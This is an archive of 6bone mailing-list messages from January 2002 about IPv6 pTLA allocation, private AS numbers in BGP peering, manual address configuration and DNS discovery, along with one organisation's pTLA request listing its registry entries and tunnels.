> > >Hi to all, i have a little question:
> > >while reading rfc 2546 regarding 6bone routing practice, i don't
> > >understand very well what does it means when says "Site border =
router
> MUST
> > >NOT advertise prefixes more specific than the /48 ones allocated by
their
> > >ISP."
> >
> > RFC2546 is obsolete and replaced by RFC2772. You should read section =
4
and
> > then ask me specific questions you may have.
> >
> >
> > >I was looking in several rfcs regarding ipv6 about the possibility =
for
> > >request a pTla using a private As number or the AS from the =
upstream
> > >provider (reference to rfc2270, "Using a Dedicated AS for Sites  =
Homed
to
> > >a Single Provider").
> >
> > We do not allocate pTLAs unless the requester has their own AS =
number
for
> > their exclusive IPv6 use (their IPv4 ASN will do).
> >
> >
> > Bob
> >
>


------=_NextPart_000_003E_01C19A16.E5A79E10
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	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2><FONT face=3D"Times New Roman" =
size=3D3>Hello Bob,=20
thanks a lot for your quick answer.<BR>Now everything is just most clear =
but in=20
rfc2772 i can't see why a site<BR>without their own asn cannot use the =
upstream=20
provider's asn to request a<BR>pTLA. Can you explain me this?<BR>Best=20
Regards,<BR>Matteo<BR><BR>&gt; ----- Original Message -----<BR>&gt; =
From: "Bob=20
Fink" &lt;</FONT><A href=3D"mailto:fink@es.net"><FONT face=3D"Times New =
Roman"=20
size=3D3>fink@es.net</FONT></A><FONT face=3D"Times New Roman" =
size=3D3>&gt;<BR>&gt;=20
To: "Matteo Tescione" &lt;</FONT><A =
href=3D"mailto:wizard@italiansky.com"><FONT=20
face=3D"Times New Roman" size=3D3>wizard@italiansky.com</FONT></A><FONT=20
face=3D"Times New Roman" size=3D3>&gt;<BR>&gt; Cc: "6BONE List" =
&lt;</FONT><A=20
href=3D"mailto:6bone@isi.edu"><FONT face=3D"Times New Roman"=20
size=3D3>6bone@isi.edu</FONT></A><FONT face=3D"Times New Roman" =
size=3D3>&gt;<BR>&gt;=20
Sent: Thursday, January 10, 2002 7:48 PM<BR>&gt; Subject: Re: Little=20
question<BR>&gt;<BR>&gt;<BR>&gt; &gt; Matteo,<BR>&gt; &gt;<BR>&gt; &gt; =
At 05:48=20
PM 1/10/2002 +0100, Matteo Tescione wrote:<BR>&gt; &gt; &gt;Hi to all, i =
have a=20
little question:<BR>&gt; &gt; &gt;while reading rfc 2546 regarding 6bone =
routing=20
practice, i don't<BR>&gt; &gt; &gt;understand very well what does it =
means when=20
says "Site border router<BR>&gt; MUST<BR>&gt; &gt; &gt;NOT advertise =
prefixes=20
more specific than the /48 ones allocated by<BR>their<BR>&gt; &gt;=20
&gt;ISP."<BR>&gt; &gt;<BR>&gt; &gt; RFC2546 is obsolete and replaced by =
RFC2772.=20
You should read section 4<BR>and<BR>&gt; &gt; then ask me specific =
questions you=20
may have.<BR>&gt; &gt;<BR>&gt; &gt;<BR>&gt; &gt; &gt;I was looking in =
several=20
rfcs regarding ipv6 about the possibility for<BR>&gt; &gt; &gt;request a =
pTla=20
using a private As number or the AS from the upstream<BR>&gt; &gt; =
&gt;provider=20
(reference to rfc2270, "Using a Dedicated AS for Sites&nbsp; =
Homed<BR>to<BR>&gt;=20
&gt; &gt;a Single Provider").<BR>&gt; &gt;<BR>&gt; &gt; We do not =
allocate pTLAs=20
unless the requester has their own AS number<BR>for<BR>&gt; &gt; their =
exclusive=20
IPv6 use (their IPv4 ASN will do).<BR>&gt; &gt;<BR>&gt; &gt;<BR>&gt; =
&gt;=20
Bob<BR>&gt; &gt;<BR>&gt;</FONT><BR></FONT></DIV></BODY></HTML>

------=_NextPart_000_003E_01C19A16.E5A79E10--



From 6bone-owner  Thu Jan 10 12:27:06 2002
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To: "Matteo Tescione" <wizard@italiansky.com>
From: Bob Fink <fink@es.net>
Subject: RE: Little Problem
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At 08:39 PM 1/10/2002 +0100, Matteo Tescione wrote:
>Hello Bob, thanks a lot for your quick answer.
>Now everything is just most clear but in rfc2772 i can't see why a site
>without their own asn cannot use the upstream provider's asn to request a
>pTLA. Can you explain me this?

If you are a pTLA their is no upstream IPv6 provider. If you mean use your 
IPv4 provider's ASN, then you prevent them from ever using it for v6 and 
I'm sure they wouldn't like that :-)

The issue is having a unique ASN in the global routing infrastructure.


Bob

From 6bone-owner  Fri Jan 11 12:26:10 2002
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Date: Fri, 11 Jan 2002 15:29:33 -0500
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
To: Matteo Tescione <wizard@italiansky.com>
cc: 6BONE List <6bone@ISI.EDU>, Bob Fink <fink@es.net>
Subject: RE: Little Problem
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another twist on the same line, trying to help:
- you could use private AS numbers to do peering for some reasons
- however, to be a pTLA, then you need an allocated AS number, unique, so 
that your routes are tagged to you on the global routing table.

Marc.


-- jeudi, janvier 10, 2002 12:27:55 -0800 Bob Fink <fink@es.net> wrote/a 
écrit:

> At 08:39 PM 1/10/2002 +0100, Matteo Tescione wrote:
>> Hello Bob, thanks a lot for your quick answer.
>> Now everything is just most clear but in rfc2772 i can't see why a site
>> without their own asn cannot use the upstream provider's asn to request a
>> pTLA. Can you explain me this?
>
> If you are a pTLA their is no upstream IPv6 provider. If you mean use
> your IPv4 provider's ASN, then you prevent them from ever using it for v6
> and I'm sure they wouldn't like that :-)
>
> The issue is having a unique ASN in the global routing infrastructure.
>
>
> Bob
>



------------------------------------------
Marc Blanchet
Viagénie
tel: +1-418-656-9254x225

------------------------------------------
http://www.freenet6.net: IPv6 connectivity
------------------------------------------
http://www.normos.org: IETF(RFC,draft),
  IANA,W3C,... standards.
------------------------------------------

From 6bone-owner  Fri Jan 11 13:35:43 2002
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        Bob Fink <fink@es.net>
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Optimally, if we follow *current* aggregation rules, one would never need an
ASN, except in pTLA situation, as different block allocated per upstream
'provider'... so static routing works fine. Just my $.02

Thanks
Rob Rockell
Principal Engineer
SprintLink Europe/Asia
(+1) 703-689-6322
Sprint IP Services : Thinking outside the 435 box
-----------------------------------------------------------------------

On Fri, 11 Jan 2002, Marc Blanchet wrote:

->another twist on the same line, trying to help:
->- you could use private AS numbers to do peering for some reasons
->- however, to be a pTLA, then you need an allocated AS number, unique, so
->that your routes are tagged to you on the global routing table.
->
->Marc.
->
->
->-- jeudi, janvier 10, 2002 12:27:55 -0800 Bob Fink <fink@es.net> wrote/a
->écrit:
->
->> At 08:39 PM 1/10/2002 +0100, Matteo Tescione wrote:
->>> Hello Bob, thanks a lot for your quick answer.
->>> Now everything is just most clear but in rfc2772 i can't see why a site
->>> without their own asn cannot use the upstream provider's asn to request a
->>> pTLA. Can you explain me this?
->>
->> If you are a pTLA their is no upstream IPv6 provider. If you mean use
->> your IPv4 provider's ASN, then you prevent them from ever using it for v6
->> and I'm sure they wouldn't like that :-)
->>
->> The issue is having a unique ASN in the global routing infrastructure.
->>
->>
->> Bob
->>
->
->
->
->------------------------------------------
->Marc Blanchet
->Viagénie
->tel: +1-418-656-9254x225
->
->------------------------------------------
->http://www.freenet6.net: IPv6 connectivity
->------------------------------------------
->http://www.normos.org: IETF(RFC,draft),
->  IANA,W3C,... standards.
->------------------------------------------
->


From 6bone-owner  Fri Jan 11 20:30:10 2002
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Subject: RE: Little Problem
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Robert J. Rockell" <rrockell@sprint.net>,
        "Marc Blanchet" <Marc.Blanchet@viagenie.qc.ca>
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Robert,

>> Marc Blanchet wrote:
>> another twist on the same line, trying to help:
>> you could use private AS numbers to do peering for some reasons
>> however, to be a pTLA, then you need an allocated AS number, unique,
so
>> that your routes are tagged to you on the global routing table.
 
> Robert J. Rockell wrote:
> Optimally, if we follow *current* aggregation rules, one would never
> need an ASN, except in pTLA situation, as different block allocated
> per upstream 'provider'... so static routing works fine. Just my $.02

This is not correct. By looking at my own situation:
I am dual-homed (IPv6) to two different pTLAs (Viagenie and Caladan).
I have BGP peering with both using a private BGP ASN (#65432).

Although there are ways around that (complicated ones), the main reason
it
actually works is because nobody else is using that ASN.

World, please take note: ASN #65432 (easy to remember) is no longer
public
but now the exclusive property of Michel Py.
How easy, I did not even have to register for it hehehehe.

I have missed the beginning of this thread (maybe it started on a list
that I di not subscribe to), but in the current situation people that
are NOT pTLAs still need an ASN if there are multihomed.

Michel.


From 6bone-owner  Sat Jan 12 05:46:56 2002
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Michel Py wrote:

 > I am dual-homed (IPv6) to two different pTLAs (Viagenie and Caladan).
 > I have BGP peering with both using a private BGP ASN (#65432).
 >
 > Although there are ways around that (complicated ones), the main reason
 > it actually works is because nobody else is using that ASN.

At least, nobody else at Viagenie and Caladan ;)

 > World, please take note: ASN #65432 (easy to remember) is no longer
 > public but now the exclusive property of Michel Py.

No it's not. You just need to arrange this with Viagenie and Caladan.
They should be filtering routes that use private ASN's so those ASN's 
can be reused elsewhere.

See http://www.cisco.com/warp/customer/459/32.html and 
http://www.cisco.com/warp/customer/459/36.html. The examples are IPv4, 
but the same commands work equally well for IPv6.

Having said that, I do see a few private ASN's in use: 64700, 65001, 
65302, 65304, 65305 and 65525. Hmmm.

 > in the current situation people that
 > are NOT pTLAs still need an ASN if there are multihomed.

You only need an ASN if you're using BGP, and not everyone is. But true, 
being multihomed without BGP (and therefore your own ASN) would 
be pointless.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland.


From 6bone-owner  Sat Jan 12 08:33:44 2002
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Subject: RE: Little Problem
Date: Sat, 12 Jan 2002 08:34:33 -0800
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Paul,

>> Michel Py wrote:
>> I am dual-homed (IPv6) to two different pTLAs (Viagenie and Caladan).
>> I have BGP peering with both using a private BGP ASN (#65432).
>> Although there are ways around that (complicated ones), the main reason
>> it actually works is because nobody else is using that ASN.

> Paul Aitken wrote:
> At least, nobody else at Viagenie and Caladan ;)

Correct. However, if everyone did that, we would quickly have collisions
among the 1,000 or so available private ASNs. I do not think pTLAs have
a srong interest in maintaining a list of private ASNs they peer with.

>> World, please take note: ASN #65432 (easy to remember) is no longer
>> public but now the exclusive property of Michel Py.

> No it's not.

Nice try, no cigar.

> You just need to arrange this with Viagenie and Caladan. They
> should be filtering routes that use private ASN's so those ASN's
> can be reused elsewhere.

I think they do.

> Having said that, I do see a few private ASN's in use: 64700, 65001,
> 65302, 65304, 65305 and 65525. Hmmm.

In the 6bone context, I do not see a problem with that, but it does not
scale at all. If BGP is to be used in any form or fashion for IPv6
multihoming, we will soon need 32-bit ASNs.

Michel.


From 6bone-owner  Sat Jan 12 13:43:27 2002
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Date: Sat, 12 Jan 2002 16:46:26 -0500
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
To: Michel Py <michel@arneill-py.sacramento.ca.us>,
        "Robert J. Rockell" <rrockell@sprint.net>
cc: Matteo Tescione <wizard@italiansky.com>, 6BONE List <6bone@ISI.EDU>,
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Subject: RE: Little Problem
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-- vendredi, janvier 11, 2002 20:30:54 -0800 Michel Py 
<michel@arneill-py.sacramento.ca.us> wrote/a écrit:

> Robert,
>
>>> Marc Blanchet wrote:
>>> another twist on the same line, trying to help:
>>> you could use private AS numbers to do peering for some reasons
>>> however, to be a pTLA, then you need an allocated AS number, unique,
> so
>>> that your routes are tagged to you on the global routing table.
>
>> Robert J. Rockell wrote:
>> Optimally, if we follow *current* aggregation rules, one would never
>> need an ASN, except in pTLA situation, as different block allocated
>> per upstream 'provider'... so static routing works fine. Just my $.02
>
> This is not correct. By looking at my own situation:
> I am dual-homed (IPv6) to two different pTLAs (Viagenie and Caladan).
> I have BGP peering with both using a private BGP ASN (#65432).

I need to look at our configuration (I no longer daily managing it: I'll 
check and come back about it)
but normally, we (your peer) should not advertise a private ASN to the rest 
of the world,
(i.e. you routes should not be specifically advertise with this AS)
so are you sure that you are really multihomed in the global routing table?
if yes, then you got a free ticket that may not stay long... ;-))

Marc.

>
> Although there are ways around that (complicated ones), the main reason
> it
> actually works is because nobody else is using that ASN.
>
> World, please take note: ASN #65432 (easy to remember) is no longer
> public
> but now the exclusive property of Michel Py.
> How easy, I did not even have to register for it hehehehe.
>
> I have missed the beginning of this thread (maybe it started on a list
> that I di not subscribe to), but in the current situation people that
> are NOT pTLAs still need an ASN if there are multihomed.
>
> Michel.



------------------------------------------
Marc Blanchet
Viagénie
tel: +1-418-656-9254x225

------------------------------------------
http://www.freenet6.net: IPv6 connectivity
------------------------------------------
http://www.normos.org: IETF(RFC,draft),
  IANA,W3C,... standards.
------------------------------------------

From 6bone-owner  Sat Jan 12 14:15:46 2002
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Subject: RE: Little Problem
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Marc,

> Marc Blanchet wrote:
> I need to look at our configuration (I no longer daily managing it:
> I'll check and come back about it) but normally, we (your peer)
> should not advertise a private ASN to the rest of the world,
> (i.e. you routes should not be specifically advertise with this AS)

Correct; my routes should not been advertised at all, actually.

> so are you sure that you are really multihomed in the global
> routing table?

I'm sure I am not, but not because "my" private ASN is being filtered
(it does not matter). Because none of my /48 prefixes are making it
back to the DFZ, because they are summarized, which is the way it
should be. Since there is no IPv6 multihoming solution as we speak,
I just have manual redundancy.

> If yes, then you got a free ticket that may not stay long... ;-))

You are making my point; I should not have to hijack a private ASN.

Michel.


From 6bone-owner  Mon Jan 14 06:19:02 2002
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	Mon, 14 Jan 2002 21:22:31 +0700 (ICT)
From: Robert Elz <kre@munnari.OZ.AU>
To: Edward Lewis <lewis@tislabs.com>
cc: "6BONE List" <6bone@ISI.EDU>
Subject: Re: Question on address configuration 
In-Reply-To: <v03130301b86356715630@[199.171.39.21]> 
References: <v03130301b86356715630@[199.171.39.21]>  <C2A256696D17E44C9ADC95A77FE95997048803B5@red-msg-05.redmond.corp.microsof t.com> <C2A256696D17E44C9ADC95A77FE95997048803B5@red-msg-05.redmond.corp.microsof t.com> 
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    Date:        Thu, 10 Jan 2002 09:48:08 -0500
    From:        Edward Lewis <lewis@tislabs.com>
    Message-ID:  <v03130301b86356715630@[199.171.39.21]>

  | Your points up to this are accurate.  But I wouldn't agree that there is no
  | relationship to finding DNS servers.

You're arguing yet another point, unrelated to either of the other ones.
Or perhaps slightly related to the original, but not at all to the
other one.

  | Reading the replies and thinking more about this situation (and why two of
  | us IPv6 newcomers found this), we realized that this problem is rather
  | DNS-centric.

No, that's just one use.

  | Any other server out there can use autoconfig with the MAC
  | address and rely on DNS for name to number mapping.

Sure, they can.   But it isn't an issue of who can do what, but who
must do what.   I can use MAC address based tokens for my systems, and
usually, that's what I'll do.  But I have a choice, I can use anything I
like, any numbering scheme I prefer, and if I choose to number my systems
1 2 3 ... in the expectation that I can keep doing that for eternity,
using a new unique number for for each new system (or even redefined system)
without ever running out of the 64 bit space, then I should be permitted
to do just that.   I might need to use a DHCP server to make my admin
load manageable of course, or I might just configure the number in the
system if I have a centralised systems receiving dept, where everything
is delivered and locally configured before being sent to the end user.

If I'm using a DHCP server though, at the very least I'm going to have to
configure its address, not because it needs to be stable, but because it
has no DHCP server to request an address from.   And it can't simply use
its MAC address, as someday that might clash with my 1 2 3 ... (after I
eventually have to give up on keeping the meaning of the "global" bit...)

In any case, this is an issue of choice, in IPv6 we have 3 methods of
address generation - autoconfigured from MAC address, assigned by a
DHCP server, and manually configured.   We shouldn't be causing the
3rd one to be harder than it should otherwise be, nor should we be
causing other problems (like making it much harder to renumber a network)
just because people would like to manually configure the part of their
addresses that they get to assign (in both v4 and v6 you're stuck with
the prefix offered to you if you want to interoperate, but in both you
can be as imaginative as you like with the remaining bits).

Certainly DNS servers, DHCP servers, routers, and even SMTP servers (thanks
all the same, but I don't want a 2 day mail dead spot while my old DNS
records TTL times out...) are the most likely candidates for configured
addresses, but any host can have it.   Implementations that I'm aware of
all allow this already - all they don't do is the compromise where the
prefix comes from RA messages (just like fully autoconfigured addresses),
and the token comes from configuration.   This really should be added.

kre


From 6bone-owner  Tue Jan 15 09:05:02 2002
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Date: Tue, 15 Jan 2002 09:05:52 -0800
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From: Bob Fink <fink@es.net>
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6bone folk,

Recently the WWU maintained threaded mail archive for the 6bone has departed.

Will Maton has kindly arranged for a new threaded 6bone mail archive.

  <http://ryouko.dgim.crc.ca/ipv6/>

The 6bone web page has been updated.

Thanks to Will.


In addition, the flat 6bone mail archive had a lost path to the real 
archive. This has now been fixed and the entire flat archive is again 
available. Thanks to Bill Manning and our friends at ISI.


Bob


From 6bone-owner  Tue Jan 15 17:07:32 2002
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Date: Tue, 15 Jan 2002 17:08:19 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for T-NET - review closes 11 February 2002
Cc: <vagok@zeus.mad.hu>
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6bone Folk,

T-NET has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 11 
February 2002 (an extended time as I will be on travel 24 Jan - 10 Feb). 
Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?T-NET>

<http://www6.asterix.gimp.hu>


Thanks,

Bob


===
>Hi Bob,
>
>I'd like to request a pTLA for T-NET, please find relevant info below.
>
>Sincerely,
>
>Krisztian Vago
>
>-------------------------------------------------------------------------
>7. Guidelines for 6Bone pTLA sites
>
>     The following rules apply to qualify for a 6Bone pTLA allocation. It
>     should be recognized that holders of 6Bone pTLA allocations are
>     expected to provide production quality backbone network services for
>     the 6Bone.
>
>     1. The pTLA Applicant must have a minimum of three (3) months
>        qualifying experience as a 6Bone end-site or pNLA transit. During
>        the entire qualifying period the Applicant must be operationally
>        providing the following:
>
>T-NET is in 6bone since March of 2001
>
>
>        a. Fully maintained, up to date, 6Bone Registry entries for their
>           ipv6-site inet6num, mntner, and person objects, including each
>           tunnel that the Applicant has.
>
>ipv6-site:    T-NET
>origin:       AS1955

Insered explanation of use of AS1955
>HUNGARNET is an association and also the computer network of Hungarian
>institutions ofhigher education, research and development, libraries and
>other public collections.HUNGARNET as an association represents Hungary
>in the international networking organizations.
>MADNET is a network at Marton Aron Dormitory. We have five dormitories in
>Hungary and we have more or less 9000-10000 students.
>Our network is a very special network in Hungary.
>We are belong to Computer and Automation Research Institute, Hungarian
>Academy of Sciences network (SZTAKI) and we are connected via IIF
>(National Information Infrastucture Development Program)
>We are the only network in Hungary which is in favour Ministry of Culture
>and Education.
>We are totaly state-owned network and our projects are spoonfeeded. Via
>IIF (and SZTAKI) we are authorized using ASn 1955 for IPv6 activites in
>6Bone.
End insert

>descr:        T-NET Project
>               Budapest, Hungary
>country:      HU
>prefix:       3FFE:400:1090::/48
>prefix:       3FFE:8120:FFFD::/48
>prefix:       3FFE:1001:560::/48
>prefix:       3FFE:200:45::/48
>application:  ping 6bone-gw.asterix.gimp.hu
>application:  www www.ipv6.asterix.gimp.hu
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> 
>6bone.uni-muenster.de JOIN BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> 
>6bone-gw.zapor-u.gtnet.hu ZAPOR-U BGP4+
>tunnel:       IPv6 in IPv6 6bone-gw.asterix.gimp.hu -> asterix.mad.hu 
>ASTERIX BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> 
>holub.satimex.tvnet.hu FAKONET STATIC
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> mail.ithink.hu 
>FAKONET STATIC
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> 
>parbb1.routers.fr.fastnetxp.net FASTNETXP BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> 
>6bone-gw.ipv6.sics.se SICS STATIC
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> ns.bgyarmat.hu 
>BGYARMAT STATIC
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> gw.6b0ne.hu PAMPI BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> cern-atm7.cern.ch 
>CERN BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> 
>lon2-dr61.v6.eu.ntt.net TLA-2001 STATIC
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> 
>6bone-gw1.edisontel.it EDISONTEL BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> 6bone.ircnet.hu 
>GTNET BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> rtr1.ipv6.he.net 
>HURRICANE BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> rap.viagenie.qc.ca 
>VIAGENIE BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> 6bone-gw3.cselt.it 
>CSELT BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> 6b1.ams7.nl.uu.net 
>NLNET BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> 
>gep18-1762.nyircatv.broadband.hu D-BOX STATIC
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> 
>server.komjata-koll.sulinet.hu DR-AGON STATIC
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> puffi.pszfb.hu 
>PUFFI-NET STATIC
>tunnel:       IPv6 in IPV6 6bone-gw.asterix.gimp.hu -> ipv6.bitchx.hu TEMA 
>BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> 
>B945-5F50.newrange.tvnetwork.hu KV1-6BONE BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw.asterix.gimp.hu -> 
>maximus.linuxnetwork.hu LINUXNETWORK6 STATIC
>contact:      TNET1-6BONE
>contact:      TTN1-6BONE
>contact:      PR3-6BONE
>contact:      SS9-6BONE
>remarks:      FreeBSD router running MRT routing daemon
>remarks:      ipv6-site is operational
>remarks:      primary DNS server ns1.asterix.gimp.hu is operational
>remarks:      secondary DNS server ns2.asterix.gimp.hu is operational
>url:          http://www.ipv6.asterix.gimp.hu
>mnt-by:       MNT-T-NET
>changed:      vagok@asterix.direct.hu 20011227
>changed:      vagok@asterix.gimp.hu 20020112
>source:       6BONE
>
>
>
>        b. Fully maintained, and reliable, BGP4+ peering and connectivity
>           between the Applicant's boundary router and the appropriate
>           connection point into the 6Bone. This router must be IPv6
>           pingable. This criteria is judged by members of the 6Bone
>           Operations Group at the time of the Applicant's pTLA request.
>
>We have BGP connection with JOIN CERN CSELT NLNET EDISONTEL VIAGENIE ...
>
>Our router (6bone-gw.asterix.gimp.hu) is IPv6 pingable.
>
>        c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>           entries for the Applicant's router(s) and at least one host
>           system.
>
>
>host -t aaaa 6bone-gw.asterix.gimp.hu
>  6bone-gw.asterix.direct.hu IPv6 address 3ffe:400:1090:0:a00:36ff:fe64:6903
>  6bone-gw.asterix.direct.hu IPv6 address 3ffe:8120:fffd:0:a00:36ff:fe64:6903
>
>host -t ptr 
>3.0.9.6.4.6.e.f.f.f.6.3.0.0.a.0.0.0.0.0.0.9.0.1.0.0.4.0.e.f.f.3.ip6.int
>  3.0.9.6.4.6.e.f.f.f.6.3.0.0.a.0.0.0.0.0.0.9.0.1.0.0.4.0.e.f.f.3.ip6.int 
> domain name pointer 6bone-gw.asterix.gimp.hu
>
>primary DNS server ns1.asterix.gimp.hu
>secondary DNS server ns2.asterix.gimp.hu
>
>        d. A fully maintained, and reliable, IPv6-accessible system
>           providing, at a mimimum, one or more web pages, describing the
>           Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>We have IPv6 www (www6.asterix.gimp.hu) ftp (ftp6.asterix.gimp.hu),
>telnet, and pop3 services.
>
>     2. The pTLA Applicant MUST have the ability and intent to provide
>        "production-quality" 6Bone backbone service. Applicants must
>        provide a statement and information in support of this claim.
>        This MUST include the following:
>
>        a. A support staff of two persons minimum, three preferable, with
>           person attributes registered for each in the ipv6-site object
>           for the pTLA applicant.
>
>          contact:   PR3-6BONE
>          contact:   TTN1-6BONE
>         contact:   SS9-6BONE
>
>        b. A common mailbox for support contact purposes that all support
>           staff have acess to, pointed to with a notify attribute in the
>           ipv6-site object for the pTLA Applicant.
>
>
>person:       T-Net Project Team
>address:      Kunigunda u.35 B-436
>address:      1037 Budapest
>address:      Hungary
>phone:        +36 20 9357523
>e-mail:       ipv6@asterix.gimp.hu
>nic-hdl:      TNET1-6BONE
>notify:       ipv6@asterix.gimp.hu
>mnt-by:       MNT-T-NET
>changed:      auto-dbm@whois.6bone.net 20011029
>changed:      vagok@asterix.gimp.hu 20020112
>source:       6BONE
>
>     3. The pTLA Applicant MUST have a potential "user community" that
>        would be served by its becoming a pTLA, e.g., the Applicant is a
>        major provider of Internet service in a region, country, or focus
>        of interest. Applicant must provide a statement and information in
>        support this claim.
>
>We have five dormitories in Hungary which connected via us to
>IPv6. Our dormitories have relationship with:
>
>ELTE  - Eotvos Lorand University of Sciences
>BMF   - Technical College of Budapest
>PSZFB - College of Finance and Accountancy
>PTE   - Pecs University
>
>Now there is two college (PSZFB, BMF - Kando - ) which are connected to
>IPv6 network via us. We have IPv6 connection with SULINET (solution for
>inernet access to primary and high schools). And we have a few private
>tunnels.
>
>We are planing building IPv6 connection with the other universities as
>well. Otherwhise we offer connection to IPv6 everyone who would like to
>join. Other small projects (GTNET, PAMPI, TEMA) will be integrated to
>T-NET in the near future.
>
>     4. The pTLA Applicant MUST commit to abide by the current 6Bone
>        operational rules and policies as they exist at time of its
>        application, and agree to abide by future 6Bone backbone
>        operational rules and policies as they evolve by consensus of the
>        6Bone backbone and user community.
>
>We agree with any current and any future 6Bone operational rules and
>policies.
>
>      8. 6Bone Operations Group
>
>        The 6Bone Operations Group is the group in charge of monitoring and
>        policing adherence to the current rules. Membership in the 6Bone
>        Operations Group is mandatory for, and restricted to, sites connected
>        to the 6Bone.
>
>        The 6Bone Operations Group is currently defined by those members of
>        the existing 6Bone mailing list who represent sites participating in
>        the 6Bone. Therefore it is incumbent on relevant site contacts to
>        join the 6Bone mailing list. Instructions on how to join the list are
>        maintained on the 6Bone web site at < http://www.6bone.net>.
>
>I have joined the mailinglist.
>
>-------------------------------------------------------------------------------



From 6bone-owner  Wed Jan 16 07:15:09 2002
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Date: Wed, 16 Jan 2002 07:13:50 -0800
From: Nick Sayer <nsayer@quack.kfu.com>
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To: Robert Elz <kre@munnari.OZ.AU>
CC: Edward Lewis <lewis@tislabs.com>, 6BONE List <6bone@ISI.EDU>
Subject: Re: Question on address configuration
References: <v03130301b86356715630@[199.171.39.21]>  <C2A256696D17E44C9ADC95A77FE95997048803B5@red-msg-05.redmond.corp.microsof t.com> <C2A256696D17E44C9ADC95A77FE95997048803B5@red-msg-05.redmond.corp.microsof t.com> <5876.1011018150@brandenburg.cs.mu.OZ.AU>
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Robert Elz wrote:

>
>Certainly DNS servers, DHCP servers, routers, and even SMTP servers (thanks
>all the same, but I don't want a 2 day mail dead spot while my old DNS
>records TTL times out...) are the most likely candidates for configured
>addresses, but any host can have it.   Implementations that I'm aware of
>all allow this already - all they don't do is the compromise where the
>prefix comes from RA messages (just like fully autoconfigured addresses),
>and the token comes from configuration.   This really should be added.
>
>kre
>
Everything you said is true, but I would add the small postscript that 
in 99% of the cases where you would find it truly desirable to set up a 
well known address, you would be better off making that address 
site-local rather than based on the (routable) prefix. Your arguments 
about an SMTP server's DNS TTL can be made about any DNS records -- if 
the TTLs are causing you heartburn you should lower them. People 
typically want to configure manual addresses so that they don't have to 
keep rewriting resolv.conf files (or equiv). The best way to handle that 
is to look at the latest DNS autolocation draft (I forget the name 
offhand), which suggests fec0:0:0:ffff::[1,2,3]. Doing this you won't 
have to *ever* change references to the server even if your prefix changes.

You are right, however, in that since the spec allows even pointless 
silly behavior implementations should be prepared for it. Perhaps those 
implementations that use rtsol (kame) can modify rtsol to provide an 
additional argument to allow you to specify the suffix.




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Subject: RE: Question on address configuration
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To: "Nick Sayer" <nsayer@quack.kfu.com>, "Robert Elz" <kre@munnari.OZ.AU>
Cc: "Edward Lewis" <lewis@tislabs.com>, "6BONE List" <6bone@ISI.EDU>
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> -----Original Message-----
> From: Nick Sayer [mailto:nsayer@quack.kfu.com]
> Sent: Wednesday, January 16, 2002 7:14 AM
> To: Robert Elz
> Cc: Edward Lewis; 6BONE List
> Subject: Re: Question on address configuration
> 
> Robert Elz wrote:
> 
> >
> >Certainly DNS servers, DHCP servers, routers, and even SMTP servers
> (thanks
> >all the same, but I don't want a 2 day mail dead spot while my old
DNS
> >records TTL times out...) are the most likely candidates for
configured
> >addresses, but any host can have it.   Implementations that I'm aware
of
> >all allow this already - all they don't do is the compromise where
the
> >prefix comes from RA messages (just like fully autoconfigured
addresses),
> >and the token comes from configuration.   This really should be
added.
> >
> >kre
> >
> Everything you said is true, but I would add the small postscript that
> in 99% of the cases where you would find it truly desirable to set up
a
> well known address, you would be better off making that address
> site-local rather than based on the (routable) prefix. Your arguments
> about an SMTP server's DNS TTL can be made about any DNS records -- if
> the TTLs are causing you heartburn you should lower them. People
> typically want to configure manual addresses so that they don't have
to
> keep rewriting resolv.conf files (or equiv). The best way to handle
that
> is to look at the latest DNS autolocation draft (I forget the name
> offhand), which suggests fec0:0:0:ffff::[1,2,3]. Doing this you won't
> have to *ever* change references to the server even if your prefix
> changes.

I think the draft Nick is referencing is at:
http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-dns-discovery-03.t
xt

There's also a related draft at:
http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-dns-discovery-anal
ysis-00.txt


> 
> You are right, however, in that since the spec allows even pointless
